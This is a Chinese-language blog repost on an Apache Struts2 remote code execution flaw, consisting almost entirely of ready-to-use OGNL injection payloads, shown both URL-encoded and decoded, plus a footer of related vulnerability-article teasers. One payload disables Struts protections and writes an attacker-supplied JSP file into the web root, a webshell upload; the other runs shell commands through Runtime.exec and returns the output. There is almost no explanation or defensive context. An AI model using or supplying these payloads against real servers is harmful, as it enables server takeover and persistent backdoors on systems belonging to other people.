Struts2远程执行漏洞

第一种攻击方式:新建一个文件,在文件中写入一下自己的东西加上&data=要写入文件he1p.jsp文件中的内容
攻击地址?class.classLoader.jarPath=(
 %23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean(false)%2C+
 %23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C+
 %23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C+
 %23sb%3Dnew+java.lang.StringBuffer()%2C+%23sb.append(%23req.getRealPath("/"))%2C+
 %23sb.append("he1p.jsp")%2C+%23fos%3Dnew+java.io.FileOutputStream(%23sb.toString())%2C+
 %23fos.write(%23req.getParameter(‘data‘).getBytes())%2C+
 %23darky%3D%[email protected]().getWriter()%2C+
 %23darky.println("suceessful")%2C+
 %23darky.close()%2C+
 %23fos.close()
)(aa)&x[(class.classLoader.jarPath)(‘aa‘)]
转义后的源码:
攻击地址?class.classLoader.jarPath=(
 #context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+
 #_memberAccess["allowStaticMethodAccess"]=true,+
 #[email protected]@getRequest(),+
 #sb=new+java.lang.StringBuffer(),+
 #sb.append(#req.getRealPath("/")),+
 #sb.append("he1p.jsp"),+
 #fos=new+java.io.FileOutputStream(#sb.toString()),+
 #fos.write(#req.getParameter(‘data‘).getBytes()),+
 #[email protected]@getResponse().getWriter(),+
 #darky.println("suceessful"),+
 #darky.close(),+
 #fos.close()
)(aa)&x[(class.classLoader.jarPath)(‘aa‘)]
第二种攻击方式,执行CMD命令
攻击地址?class.classLoader.jarPath=(
 %23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean(false)%2C+
 %23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C+
 %23darky%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C+
 %23myret%3D%40java.lang.Runtime%40getRuntime().exec("ls -la")%2C+
 %23is%3D%23myret.getInputStream()%2C+
 %23s%3D+new+java.util.Scanner(%23is).useDelimiter("\\A")%2C+
 %23darky.println(%23s.next())%2C+
 %23darky.close()
)(aa)&x[(class.classLoader.jarPath)(‘aa‘)]
转义后的地址
攻击地址?class.classLoader.jarPath=(
 #context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+
 #_memberAccess["allowStaticMethodAccess"]=true,+
 #[email protected]@getResponse().getWriter(),+
 #[email protected]@getRuntime().exec("ls -la"),+
 #is=#myret.getInputStream(),+
 #s=+new+java.util.Scanner(#is).useDelimiter("\\A"),+
 #darky.println(#s.next()),+
 #darky.close()
)(aa)&x[(class.classLoader.jarPath)(‘aa‘)]
攻击地址?class.classLoader.jarPath=(
 #context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+
 #_memberAccess["allowStaticMethodAccess"]=true,+
 #[email protected]@getResponse().getWriter(),+
 #[email protected]@getRuntime().exec("ls -la"),+
 #is=#myret.getInputStream(),+
 #s=+new+java.util.Scanner(#is).useDelimiter("\\A"),+
 #darky.println(#s.next()),+
 #darky.close()
)(aa)&x[(class.classLoader.jarPath)(‘aa‘)]

Struts2远程执行漏洞,布布扣,bubuko.com

时间: 2024-12-25 19:18:30

Struts2远程执行漏洞的相关文章

记一次被劫持挂马经历--Elasticsearch的远程执行漏洞

起因: 公司使用的是Ucloud的云主机服务,今天上午突然被告知有一台服务器的出口流量激增,对外发包量短时间内达到了100万,而且都是UDP类型的,第一感觉就是:诶呀,莫不是被黑了,被当肉鸡了呀! 探究: 立马登录对应的服务器,首先使用iftop查看流量状况 可以看出出口流量好吓人,1分钟内累计700M流量,查了一下这2个IP地址,一个是在美国,一个是在浙江电信: 赶紧查看正在运行的进程,找出疑似进程,还真有所发现: [.ECC6DFE919A382]这个进程还想冒充系统进程,疑点极大,而且/t

WhatsApp远程执行漏洞,可窃取安卓手机文件及聊天记录

一幅图片值得一千个单词,但是一个GIF值得一千幅图片.如今,短循环剪辑,GIF随处可见,在社交媒体上,在留言板上,在聊天中,可以帮助用户完美表达自己的情绪,让人发笑并重拾亮点. 但是,如果早上好,生日快乐或圣诞快乐的消息给人以纯真的GIF问候,会破坏您的智能手机吗?好吧,不再是一个理论上的想法了.WhatsApp最近在其Android应用程序中修复了一个严重的安全漏洞,该漏洞在被发现后至少3个月未修复,并且如果被利用,可能会使远程黑客入侵Android设备并可能窃取文件和聊天记录. WhatsA

thinkphp远程执行漏洞的本地复现

0X00漏洞简介 由于ThinkPHP5 框架控制器名 没有进行足够的安全监测,导致在没有开启强制路由的情况下,可以伪装特定的请求可以直接Getshell(可以控制服务器) 0X01环境搭建 下载存在漏洞版本我下载的版本是thinkphp_5.0.22搭建好以后如图 0X02漏洞复现 构造几个特殊的url即可复现漏洞. http://127.0.0.1/thinkphp_5.0.22/public/index.php?s=index/\think\app/invokefunction&funct

.NET 远程服务远程执行漏洞(exp) 中国寒龙收集整理首发

Source: https://github.com/tyranid/ExploitRemotingService Exploit Database Mirror: http://www.exploit-db.com/sploits/35280.zip ExploitRemotingService (c) 2014 James Forshaw ============================================= A tool to exploit .NET Remoting

Bash远程代码执行漏洞修复

Bash漏洞 2014年9月25日,继"心脏滴血"之后,这个从澳大利亚远渡重洋而来的bash远程执行漏洞再次让互联网震惊.如果说心脏滴血只能借助窃取用户电脑信息,而bash漏洞允许黑客远程控制电脑,从而拿到系统的最高权限! 漏洞详情页面:http://seclists.org/oss-sec/2014/q3/650 Bash漏洞的原理: BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!当前版本的bash通过以函数名作为环境变量名,以"()

Apache警告:Tomcat存在远程代码执行漏洞

开源WEB容器–Apache+Tomcat老版本很容易受到远程代码执行的攻击.Mark Thomas,一位长期致力于Apache+Tomcat的工作者称"在某种情况下,用户可以上传恶意JSP文件到Tomcat服务器上运行,然后执行命令.JSP的后门可以用来在服务器上任意执行命令." Thomas今日发出警告称,Tomcat版本7.0.0和7.3.9在发布补丁之前是脆弱的.利用漏洞(CVE-2014-4444)可执行远程代码执行攻击.上周VMware安全工程部,通信与响应小组(vSECR

Struts2再爆远程代码执行漏洞(S2-016)

Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行.  描述 影响版本 Struts 2.0.0 - Struts 2.3.15 报告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc. CVE编号 CVE-2013-2251 漏洞证明 参数会以OGN

Struts2远程代码执行漏洞预警

近期struts2 框架再现高危远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638.利用此漏洞可对使用了struts2框架的网站进行远程命令执行,对服务器造成威胁.请相关单位进行及时自检,漏洞详情及修补方案请及时关注官方公告.官方公告链接:https://cwiki.apache.org/confluence/display/WW/S2-045?from=groupmessage&isappinstalled=0 漏洞详情: 恶意用户可在上传文件时通过修改HTTP请求头

Struts2再爆远程命令执行漏洞![W3bSafe]Struts2-048 Poc Shell及防御修复方案抢先看!

漏洞概述 Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架.在Struts 2.3.x 系列的 Showcase 应用中演示Struts2整合Struts 1 的插件中存在一处任意代码执行漏洞.当你的应用使用了Struts2 Struts1的插件时,可能导致不受信任的输入传入到ActionMessage类中导致命令执行. 解决方案 向ActionMessage传递原始消息时使用类似下面的资源键值,不要